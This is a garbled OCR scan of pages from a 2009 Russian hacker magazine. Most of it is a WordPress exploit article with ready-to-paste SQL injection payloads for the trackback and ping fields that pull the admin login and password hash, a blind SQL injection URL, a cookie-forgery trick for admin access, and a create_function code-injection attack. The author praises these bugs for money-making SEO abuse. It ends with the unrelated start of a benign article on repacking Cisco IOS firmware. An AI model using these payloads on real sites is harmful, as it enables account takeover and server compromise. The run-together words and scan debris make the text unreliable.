ПОСТА]">pingme</a>

— WordPress

 

ЭТИЗАБАВНЫЕПИНГИ. ЧАСТЬ1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'cat' Parameter

Такужсложилось, чтонаибольшеечислоуязвимостей

Запомниадрессозданногопоста(например, http://lamer/

Directory Traversal

WordPress пришлоськакразнатехнологииPingback и

 

wp1/?p=2).

Vulnerability.

Trackback. Вотинаэтотраз, копаясьвфункциях, отвечаю-

2.Вовторомблогеветки2.3.x-2.5.1создайпостслюбымсодер-

 

щихзапинги, янашелсразу2 (!) фрагментированныеsql-

 

жаниемилюбымтайтлом,авполе«Sendtrackbacksto:»пиши:

 

инъекциивовсехверсияхдвижкадо2.5.1 включительноис

 

 

 

 

 

правамиauthor/editor (WordPress MU also affected).

 

 

test',post_title=(select/**/concat(user_

 

Длянаглядностивозьмемподопытныйдвижокзаномером

 

 

login,':',user_pass)/**/from/**/wp_users/**/

 

2.3.3. Открывай./wp-includes/post.php инаходивнемкод:

 

 

where/**/id=1),post_content_filtered =’blah

 

 

 

 

 

 

 

 

 

 

 

 

Сохраняйпост.

 

 

function add_ping($post_id, $uri) {

 

 

// Add a URL to those already pung

Сновазаходивегоредактирование, нотеперьредактируй

 

 

global $wpdb;

 

самосодержимоеивставляйтудассылкувhtml-форматена

 

 

$pung = $wpdb->get_var("SELECT pinged FROM

 

постизпервогоблога:

 

 

 

 

 

 

 

 

054

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

>> взломw Click

 

BUY

 

 

w Click

to

 

 

 

 

 

m

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ЭксплойтыWordPress

<a href="http://lamer/wp1/?p=2">pingme</a>

Готово! Сохраняйся, переходинастраницунашегопостаинаслаждайся

НЕМОГУНЕПОДЕЛИТЬСЯС ТОБОЙЕЩЕОДНОЙЗАБАВ- НОЙSQL-ИНЪЕКЦИЕЙ, КОТОРАЯПРИСУТСТВУЕТВОВСЕХ ВЕРСИЯХДВИЖКА, НАЧИНАЯ С2.3.X ИЗАКАНЧИВАЯПОСЛЕДНЕЙНАДАННЫЙМОМЕНТ

2.7.1.

результатамивыполненияскуливвидехешаипароляадмина.

ЭТИЗАБАВНЫЕПИНГИ. ЧАСТЬ2

ВтораяSQL-инъекцияприсутствуетвмеханизметрэкбэковивыглядитужене такужасно.Открывайфайл./wp-includes/comment.phpинаходивнемкод:

function do_trackbacks($post_id) {

...

$to_ping = get_to_ping($post_id);

...

if ( $to_ping ) {

foreach ( (array) $to_ping as $tb_ping ) { $tb_ping = trim($tb_ping);

if ( !in_array($tb_ping, $pinged) ) { trackback($tb_ping, $post_title,

$excerpt, $post_id); $pinged[] = $tb_ping; } else {

$wpdb->query(«UPDATE $wpdb->posts SET to_ ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'");

}

}

}

}

Parse_str sql-инъекция

Здесьмынаблюдаемтужеситуацию: переменная$to_ping подставляет- сявследующийзапросбезкакой-либофильтрации.

ИспользоватьэтуSQL-инъекциюоченьпросто.

1.Создавайновыйпостив«Send trackbacks to:» вставляйследующее:

test','')),post_title=(select/**/concat(user_ login,':',user_pass)/**/from/**/wp_users/**/where/**/ id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah

2.Сохраняйпост, заходивредактированиевновьсозданногопостаи опятьвставляйтудатотжесамыйкод;

3.Сохраняйсяинаблюдайвтайтлепосталогинипарольадмина.

КОВАРНЫЙPARSE_STR

Не могу не поделиться с тобой еще одной забавной SQL-инъекци- ей, которая присутствует во всех версиях движка, начиная с 2.3.x и заканчивая последней на данный момент 2.7.1. Для использования инъекции необходимы права «manage_links». Для теста снова возь-

мем WordPress 2.3.3. Итак, открывай ./wp-admin/link-manager.php.

Вэтомфайлеприсутствуетследующийкод:

get_bookmarks( "category=$cat_id&hide_invisible=0&orde rby=$sqlorderby&hide_empty=0" );

Начинаяотэтогокода, попробуемпровестинебольшойреверсинг:

./wp-includes/bookmark.php

function get_bookmarks($args = '') {

...

$r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP );

...

if ( ! empty($category_name) ) {

if ( $category = get_term_by('name', $category_name, 'link_category') )

$category = $category->term_id;

}

...

./wp-includes/formatting.php

function wp_parse_args( $args, $defaults = '' ) { if ( is_object($args) )

$r = get_object_vars($args); else if ( is_array( $args ) )

$r =& $args;

else

wp_parse_str( $args, $r );

if ( is_array( $defaults ) )

return array_merge( $defaults, $r );

else

return $r;

}

XÀÊÅÐ 04 /124/ 09

055

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

w Click

 

BUY

>>m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взлом

w

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

Pingback sql-инъекция

Magic SEO Toolz — мойсборникэксплойтовдляWordPress

function wp_parse_str( $string, &$array ) { parse_str( $string, $array );

if ( get_magic_quotes_gpc() )

$array = stripslashes_deep( $array ); $array = apply_filters( 'wp_parse_str', $array );

}

./wp-includes/taxonomy.php

function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {

...

}else if ( 'name' == $field ) {

//Assume already escaped $field = 't.name';

...

$term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1");

НаэтотразразработчикиWordPress неучли, что:

1.Функцияparse_str проводитсвоипараметрычерезurldecode, азначит, какая-либофильтрацияидетлесом(плюсwp_parse_str дополнительнопроводитнашиданныечерезstripslashes);

2.Вget_bookmarks() мысможемпередатьдополнительныепараметры дляparse_str спомощьюамперсанда(%26 вurlencode).

Отсюда, каклогичныйвывод, следуетblind sql-инъекция:

http://lamer.com/wp233/wp-admin/link-manager.php?cat_ id=all%26category_name=0%2527+union+select+1,2,3,4,5, 6,7,8,9,10+from+wp_users+where+1=1/*&order_by=order_ url&action=Update+%C2%BB

Условияздесьтакие:

а) 1=1 — ничегонеотображается; б) 1=2 — отображаетсясписокссылокблога.

WORDPRESS 2.5 COOKIE INTEGRITY PROTECTION VULNERABILITY

Ещеоднаинтереснейшаялогическаяуязвимость, которойуде-

лилинедостаточновнимания, — это«Cookie Integrity Protection Vulnerability». ЕйподверженWordPress 2.5. Вофициальномadvisory

насчетреальнойэксплуатациибагисказаномалоинесовсемпонятно, — такчтомногиедосихпоруменяинтересуются, какееиспользовать. Сутьбагидостаточнопроста: начинаясверсии2.5, вWordPress появиласьноваясистемаавторизацииихраненияпаролей, которую доконцаещенеуспелиотладить. Дляавторизациинаблогеиспользуетсяследующаясхемаформированиякукисов:

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME .

"|" . MAC

Расшифровкаэтихнепонятныхсимволовэлементарна: COOKIEHASH — md5-хешURL’асайта, гдеустановлендвижок; USERNAME — логинавторизуемогоюзера;

EXPIRY_TIME — времяистеченияжизникукисов;

MAC — злостноесочетаниеизHMAC-кода, полученногонаосновеимени юзераивременижизникукисов, атакжесекретныхключейизконфигаи БД. Еслитыещенепонял, тоскажутебе, чтопроблемазаключаетсякак развспособеконкатенацииэтихзначений.

Атеперьвнимание, — способэксплуатацииуязвимости:

1.Регистрируйюзерасименем«admin99»;

2.Авторизуйсянаблоге;

3.Отредактируйсвоикукисы(вОпере: ИнструментыÆДополнительно ÆРедактированиеcookies) следующимобразом:

Áûëî:

wordpress_[ХЕШ] = admin99|время|MAC Стало:

wordpress_[ХЕШ] = admin|99время|MAC

Витоге, сновымикукисамитыблагополучноавторизуешьсясправами админа.

WORDPRESS 2.7.X ADMIN REMOTE CODE EXECUTION EXPLOIT

Выполнениепроизвольногокодавадминкечерезcreate_function (баг нашелнекийRyat[puretot]) — ещеоднаинтереснаяуязвимость, поче- му-тооставшаясянетолькобезвниманияхакеров, ноибезвнимания разработчиков!

Эксплойткнейпоявилсяещевверсии2.7, новпоследнемвордпрессе (сейчас— 2.7.1) дырапо-прежнемунезакрыта.

Проведемнебольшойаудиткода./wp-admin/post.php:

if ( current_user_can('edit_post', $post_ID) ) {

if ( $last = wp_check_post_lock( $post->ID ) ) { $last_user = get_userdata( $last );

056

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

>>

РедактированиеRSS-фидавWordPress 2.5-2.6.5

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

УязвимостиWordPress

Работаодногоизприватныхэксплойтовдля2.x ветки

XÀÊÅÐ 04 /124/ 09

$last_user_name = $last_user ? $last_user- >display_name : __('Somebody');

$message = sprintf( __( 'Warning: %s is currently editing this post' ), wp_specialchars( $last_user_name ) );

$message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" );

add_action('admin_notices', create_function( '', "echo '$message';" ) );

}

else { wp_set_post_lock( $post->ID ); wp_enqueue_script('autosave');

}

}

Изанализаэтогокодавидно, чтоюзерсправами«edit_post» может провестиинъекциюпроизвольногокодаследующимобразом:

1. Сменитьзначение«display_name» начто-товроде\’;phpinfo();\’. В

результатепеременная$message будетвыглядетьтак:

Warning: \';phpinfo();\' is currently editing this post

2. Когда$message пройдетstripslashes ипопадетвcreate_function(),

создастсяфункциястакимвотинтереснымтелом:

{

echo '<div class='error'><p>';phpinfo();'</p></div>';

}

Каквидишь, налицобанальныйcode exec. Ссылкунаэксплойтищив сносках. Добавлю, чтоэксплойтпредназначендляюзерасправами admin, но, немногоподумав, тысможешьисправитьегодляработыс правамиauthor/editor.

ИТОГИ

Жесткие рамки статьи не позволяют рассказать обо всех найденных мной и другими людьми уязвимостях WordPress, но я этого и не хочу :). Описанные тут уязвимости — лишь верхушка айсберга. Существуют гораздо более серьезные и полезные баги во всех, даже самых последних, версиях движка. Эти баги не только стоят множество зеленых президентов, но и позволяют безбедно жить на поприще SEO. Поэтому могу лишь пожелать разработчикам вордпресса оставаться такими, какие они есть: невнимательными и забавными в своей простоте.z

057

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

ЕВГЕНИЙ «SHADOS» ХАБАРОВ

/ SHADOS@MAIL.RU/

ИМПЛАНТАЦИЯ

CISCO

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

МОДИФИЦИРОВАНИЕ ПРОШИВКИ МАРШРУТИЗАТОРА

Приветствую, дорогой друг! Сегодня мы будем дарить вторую молодость (а может даже и жизнь) старым маршрутизаторам Cisco, практически не нарушая лицензионного соглашения. Пусть этот хакерский метод достаточно прост, но от этого он не становится менее интересным. Имя ему — «бинарный патчинг».

>> взлом

Сразукделу. Исходныеданныеследую-

ДлятакойкошкиCisco IOS Feature Navigator

какизначальностатьявбольшейстепени

щие: старенькаякошкаCisco 2611 сдвумя

 

сообщит, чтопоследнийIOS имеетверсию

исследовательская(just for fun).

Ethernet-портами, 64 МбRAM и16 Мбна

 

12.4(23). СистемныетребованиядляIOS 12.4(21)

Уменяневозниклобыпотребностиписать

Flash. Этомаксимальновозможныепара-

 

снаборомEnterprise Base илиAdvanced

статью, еслибынедвенебольшихпроблемы. О

метры, поддерживаемыеплатформой(читай

 

Security составляют128 MB DRAM и32 MB

первойяужеупомянул— этообъемDRAM па-

— увеличитьобъемDRAM памятииflash

 

flash. Конечно, унаснет128 MB памяти, но

мяти. Ксожалению, янеповелительпаяльника

неполучитсяиз-заотсутствиявприроде

 

попытканепытка, даипропускнаяспособность

ивольтметра, такчтоздесьподелатьничегоне

комплектующихбольшихобъемов). Исходя

 

портовунасневысокая. Этопозволяетсделать

могу. Стоиттольконадеяться, чтоОСнеуйдет

изданныхCisco IOS Feature Navigator (tools.

 

предположение, чтоОСможнозапуститьна

вcore всамыйответственныймоментиз-за

cisco.com/ITDIT/CFN/jsp/index.jsp), послед-

 

моемустройстве. Осталосьпревратитьтеорию

недостаткапамяти. Втораяпроблема, которая

нейверсиейIOS дляэтогомаршрутизатора

 

впрактику.

застигламеняврасплох— эторазмерсамого

является12.3(26) — вполнеестественнодля

 

 

 

образаIOS 12.4 итотфакт, чтооннепомещается

стольстарогопродукта(End-of-Sale — апрель

 

 

EXTENDED, ИЛИЧТОХОТИМПОЛУЧИТЬ

нафлешобъемом16 МB. Инеудивительно:

 

 

 

 

2003, End-of-Life — апрель2008). Хочется

Идеяпроста— загнатьбинарныйобраз

файлобраза— c2600-entbasek9-mz.124-9.

получитьтольковсесамоепоследнееиновое,

 

операционнойсистемыCisco IOS 12.4(21)

T1.bin — которыйявзялдляэксперимента,

авсесамоеновоеивкусноедоступнотольков

 

снаборомфьючерсовEnterprise Base на

занимает16,4 MB, тоесть17 257 364 байт.

версии12.4 (точнее12.4T). Посылномердва,

 

старенькиймаршрутизатор2611 сисходными

Дажееслистеретьфлешсопциейno-squeeze-

илидополнительныеисходныеданныетако-

 

данными, представленнымивыше.

reserve-space (командойerase /no-squeeze-

вы: есливнимательноследитьзамодельным

 

Вдальнейшем— использоватькактестовый

reserve-space flash:), этонамнепоможет.

рядоммаршрутизаторовCisco илипросто

 

стенд, ибо10-мегабитныеинтерфейсыогра-

Хотя, всвоевремя, дляобразаc2600-ik9o3s3-

ознакомитьсясинформациейопродуктахна

 

ничиваютегоприменениевдикойприроде,

mz.123-13.bin былорешениемпроблемы(этот

официальномсайте, томожнообнаружить,

 

или, какговорится, in production. Стемже

образчутьменьшеразмерасамойфлеш, идля

чтосерия2600 включаетвсебя, например,

 

успехомустройствоможетнадежнослужить

егозагрузкитребуетсяотформатироватьеес

маршрутизаторы2611XM. Отличаетсяэта

 

файрволомкорпоративнойсетивзамен

опцией, запрещающейрезервироватьсвобод-

серияотсвоегопредшественниканезначи-

 

какого-нибудьPIX (если, конечно, достаточно

ноеместо).

тельно:

пропускнойспособностив10 Мбит), нотогда

 

 

 

 

встаетвопрос— аестьлитакойфункционал,

 

ЧТОДЕЛАТЬ? БЕЖАТЬ!

 

 

 

• Максимальный объем flash-памяти

 

которыйможетпотребоватьсявIOS 12.4, но

Решенияздесьможетбытьдва— либогрузить-

увеличен до 48 MB (в 2611 — 16 MB)

 

которогонетв12.3? Заподсказкойвновь

сясtftp, чтоневсегдаудобно, либожевзломать

• Максимальный объем SDRAM-памяти

 

отправляюкCisco IOS Feature Navigator (tools.

образтак, чтобыразмерсталменьше. Грубо

увеличен до 128 MB (в 2611 — 64 MB)

 

cisco.com/ITDIT/CFN/Dispatch). Утилита

говоря, перепаковатьего(собственно, этои

• Интегрированные 10/100 Fast

 

сравненияобразовтебевпомощь, ноответ,

былоотчастисделано).

Ethernet порты (в 2611 — 10 Мбит/c

 

скореевсего, — «нет». Отсюдавывод— не

ПосыломномертристалэмуляторDynamips.

Ethernet)

 

стоитменякоритьвмалойпрактичности, так

Причемонтут? Именнооннатолкнулменяна

 

 

 

 

 

 

058

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Advanced Enterprise Services

Advanced IP + Enterprise + Cisco IOS Firewall

 

 

 

 

 

 

 

 

 

 

 

 

 

Advanced IP Services

 

 

 

 

Enterprice Services

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IPv6***, IS-IS, IP SLAs, IBM Services,

 

 

 

 

IS-IS, MPLS, L2/L3 VPNs, IPv6***,

 

 

 

 

 

 

 

 

Mobile Support, IP SLAs, etc.

 

 

 

 

L3 Routed Protocols, etc.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IP Services

EIGRP, OSPF, BGP, GLBP, QoS, High Availability, NAT, nBAR,

VRF-lite, Multicast, Virtual Switching System, etc.

>>Типы IOS

иих функционал

**EIGRP-STUB in IP Base will be available on the Cisco Catalyst 4500 Series (Sup4)

and the Cisco Catalyst 6500 Series.

*** Starting with 12.2(33)SXI on the 6500 series, Cisco is offering packaging parity for IPv6 feature support for a technology will be packeged in the same feature set as IPv4. This parity will be expended to other platforms in the future.

IP Base

RIP, HSRP/VRRP, StackWise, GRE, EIGRP STUB**, WCCP, etc.

LAN Base

ACL, QoS, Enhanced 802.1x, AutoQoS, AutoSecure, etc.

Layer 2 Base

Basic Ethernet L2. 802, tx. 802. ts. 802.w.

Ether Chanel, 802. 1d, Port Security. SmartPorts, SSH, etc.

мысльоперепаковкеобраза. Есливзглянутьнараздел«How to use?» на официальномсайтепроекта(www.ipflow.utc.fr/index.php/Cisco_7200_ Simulator), томожнообнаружить, чтоэмуляториспользуетраспакованныеобразыдляускорениязагрузки:

<skipped>

To boot quickly, the preferred method is to decompress the IOS image with the «unzip» utility. It avoids to run the self-decompressing process in the emulator. chris@portchris2:~/dynamips-0.2.5$ unzip -p c7200- advipservicesk9-mz.124-9.T.bin > image.bin

warning [c7200-advipservicesk9-mz.124-9.T.bin]: 27904 extra bytes at beginning or within zipfile

(attempting to process anyway) chris@portchris2:~/dynamips-0.2.5$ file image.bin image.bin: ELF 32-bit MSB executable, cisco 7200, version 1 (SYSV), statically linked, stripped

You can ignore the warning, unzip has just skipped the self-decompressing code at the beginning of the image. Now, you can boot the imagå

<skipped>

Еслиестьзапакованныйобраз, томожнопопытатьсяиспользовать болееоптимальныепараметрысжатия, которыепозволятпоместить образнафлеш. Обращаювниманиенаважнуюдеталь— таккакмы несобираемсяпереписыватьсамораспаковывающийсякод, тоесть заниматьсядизассемблированием(даиассемблерпод32-битные процессорыPowerPC янезнаю), тосамалгоритмсжатияменятьмыне

сможем. Самораспаковывающаясячастьпростонесможетраспаковать архивы, сжатыедругимиметодами. Поповодуиспользуемоговобразе алгоритмасжатия— можновзглянутьвотсюда: Cisco IOS Configuration Fundamentals Configuration Guide, Release 12.4 — Loading and Managing System Images, пунктImage Naming Conventions. Поле«тип» вимени образакакразотвечаетзаегохарактеристики:

f - The image runs from flash memory m - The image runs from RAM

r - The image runs from ROM l - The image is relocatable

z - The image is zip compressed x -The image is mzip compressed

Внашемслучаеобразимееттипmz — работаетвпамятиизапакованкак развzip-архив. Убедитьсявэтомпросто— большинствоархиваторов (WinZIP, WinRAR, 7zip) слегкостьюоткрываютегоираспаковывают.

УПАКОВКА

Немудрствуялукаво, пытаемсяперепаковатьархивзановосмаксимальновозможнойстепеньюсжатия. Сразужеотмечаем, чтоиспользуемыйметод— deflate иизменитьегонеполучится. Яиспользовалчетыре архиватора, чтобысравнитьихиполучилтакойрезультат:

7-zip 4.65 со следующими параметрами: Формат архива — zip

Уровень сжатия — Ультра Метод сжатия — Deflate Размер словаря — 32КB Размер слова — 258

В результате был получен архив: 15,7 MB (16 489 764 bytes). WinZIP 11.2 при использовании улучшенного метода Deflate выдал файл размером 16,0 MB (16 803 634 bytes). WinRAR 3.80, формат архива — zip с наилучшими параметрами сжатия: 16,3 MB (17131 353 bytes). PKZIP 9.00 от создателей формата совсем подвел, и по методу Deflate с максимальным сжатием произвел файл размером 16,3 MB (17 094 474 bytes).

Итогоммоегонебольшогосравнительноготестированиясталвыбордля экспериментовархива, какнетруднодогадаться, созданного7zip.

СигнатураELF вHEX-редакторе

XÀÊÅÐ 04 /124/ 09

059

 

Соседние файлы в папке журнал хакер